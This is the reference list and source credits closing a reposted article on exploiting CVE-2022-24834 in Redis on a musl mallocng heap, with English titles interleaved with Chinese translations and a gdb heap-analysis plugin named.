2021 moosl Challenge  2021 年 moosl 挑战赛
2021 kylebot 凯尔博特 [DEFCON
2021 Quals] – mooosl
2021 年资格赛] – mooosl
2023 redis 雷迪斯 Lua 卢阿
cjson and cmsgpack integer overflow issues (CVE-2022-24834)
cjson 和 cmsgpack 整数溢出问题 (CVE-2022-24834)
2023 Dronex, ptr-yudai Dronex、ptr-yudai Fuzzing 模糊测试
Farm #4: Hunting and Exploiting 0-day [CVE-2022-24834]
Farm #4:狩猎和利用 0 天 [CVE-2022-24834]
2023 Conviso Research Team 康维索研究团队 Improvement 改进
of CVE-2022-24834 public exploit
CVE-2022-24834 公共利用

Tools 工具

  • muslheap: A gdb muslheap:gdb
    plugin designed for analyzing the mallocng heap structures.
    设计用于分析 mallocng 堆结构的插件。

原文始发于微信公众号(腾讯玄武实验室):Pumping Iron on the Musl Heap – Real World CVE-2022-24834 Exploitation on an Alpine mallocng Heap

版权声明:admin 发表于 2024年7月28日 上午10:15。
转载请注明:Pumping Iron on the Musl Heap – Real World CVE-2022-24834 Exploitation on an Alpine mallocng Heap | CTF导航

相关文章